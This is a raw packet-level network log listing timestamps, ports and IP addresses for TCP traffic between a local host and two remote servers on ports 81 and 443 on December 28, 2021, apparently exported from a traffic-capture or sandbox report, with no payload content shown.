Dec 28, 2021 18:13:32.348372936 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.348465919 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:32.348515987 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.348581076 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:32.348670959 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.348788023 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.348927975 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.349000931 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.349028111 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.349097013 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.349263906 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.349371910 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.349641085 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.349706888 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.349776983 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.350049973 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.378288984 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.378340006 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.378365040 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.378546953 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.378657103 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.378772974 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.378859997 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.378948927 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.378982067 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.379004955 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:32.379138947 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:32.379250050 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.379338026 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.379424095 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.379518032 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.379548073 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.379683971 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.379709959 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.379792929 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.379877090 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.380021095 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.380045891 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.380261898 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.380287886 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.380409002 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.380613089 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.381144047 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:32.381234884 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:32.408947945 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.408987045 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.409132957 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.409347057 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.409377098 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.409540892 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.409663916 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.409821033 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.409940958 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.410192966 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.410221100 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.410248041 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.410346985 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.410418034 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.410546064 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.410619974 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.410743952 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.410820007 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.410847902 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.410989046 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.411123991 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.411155939 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.411307096 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.411334991 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.411427021 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.411510944 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.411645889 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.411744118 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.411822081 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.411964893 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:32.412071943 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:32.412091970 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.412117958 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.412147045 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.412259102 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.412286043 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.412415981 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.412497044 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.412703991 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.412789106 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.412904024 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.412998915 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.413031101 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.413130045 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.413156033 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.413182974 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.441781044 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.441828012 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.441948891 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.442073107 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.442203045 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.442435980 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.442490101 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:32.442651987 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.442794085 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.442920923 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.443001986 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.443111897 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.443195105 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.443375111 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.443412066 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.443449020 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.443525076 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.443609953 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.443733931 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.443865061 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.444098949 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.444133043 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.444159985 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.472090006 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.472261906 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.472296000 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.472527027 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.472887039 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.473007917 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.473104954 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.473176956 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.473362923 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.474894047 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.476331949 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:32.506747007 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.510215998 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:32.543209076 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.589369059 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:33.093662024 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.093722105 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.093813896 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.094701052 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.094731092 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.139363050 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.139528036 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.146759987 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.146779060 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.147044897 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.152724981 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.192889929 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.197736025 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.197911978 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.197993040 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.197993040 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.198013067 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.198081017 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.198092937 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.198220015 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.198292017 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.198364973 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.198379040 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.198401928 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.198470116 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.198474884 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.198571920 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.198647022 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.198657990 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.198664904 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.198744059 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.198760986 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.198822021 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.198828936 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.198838949 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.198921919 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.198928118 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.198945045 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.199031115 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.199073076 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.199079990 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.199135065 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.199176073 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.199182987 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.199228048 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.199285984 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.199289083 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.199306011 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.199388027 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.199393988 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.199445009 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.199500084 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.199506044 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.199518919 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.199608088 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.199614048 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.199631929 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.199693918 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.199700117 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.199762106 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.199821949 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.199843884 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.199850082 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.199901104 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.199914932 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.199975014 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.200014114 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.200021029 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.200069904 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.200099945 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.200105906 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.200165987 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.200175047 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.200191021 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.200258017 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.200284004 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.200289965 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.200342894 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.215399981 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.215492964 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.215493917 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.215517044 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.215570927 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.215598106 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.215658903 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.215689898 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.215760946 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.215828896 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.215903044 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.215935946 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.215948105 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.215955019 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.215980053 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.215989113 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.216013908 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.216018915 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.216041088 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.216085911 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.216142893 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.216150045 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.216166019 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.216221094 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.216228008 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.216242075 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.216310024 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.216321945 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.216330051 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.216363907 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.216386080 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.216397047 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.216403961 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.216443062 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.216458082 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.216470957 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.216478109 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.216526031 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.216531992 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.216595888 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.216625929 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.216634035 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.216666937 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.232912064 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.233001947 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.233020067 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.233041048 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.233112097 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.233124018 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.233143091 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.233211994 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.233221054 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.233242035 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.233303070 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.233309031 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.233329058 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.233376026 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.233403921 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.233412981 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.233423948 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.233469009 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.233484030 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.233551979 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.233556032 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.233567953 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.233609915 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.233644009 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.233706951 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.233720064 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.233736038 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.233807087 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.233824015 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.233887911 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.233897924 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.233916998 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.233987093 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.233997107 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.234014988 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.234086037 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.234102964 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.234177113 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.234186888 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.234203100 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.234252930 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.234282970 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.234285116 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.234301090 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.234370947 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.234373093 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.234390974 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.234431028 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.234466076 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.234467983 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.234484911 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.234544992 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.234555006 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.234571934 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.234623909 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.234648943 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.234652996 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.234666109 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.234716892 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.234795094 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.234858036 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.234862089 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.234879017 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.234930992 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.235249996 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.235282898 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.235291958 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.235301971 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.235332012 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.235416889 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.235431910 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.235656023 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.235722065 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.235784054 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.235799074 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.235865116 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.236008883 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.236043930 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.236100912 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.236113071 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.236162901 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.236200094 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.236326933 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.236506939 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.236546040 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.236607075 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.236618996 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.236663103 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.236707926 CET	49783	443	192.168.2.4	162.159.129.233
Dec 28, 2021 18:13:33.236877918 CET	443	49783	162.159.129.233	192.168.2.4
Dec 28, 2021 18:13:33.236915112 CET	443	49783	162.159.129.233	192.168.2.4
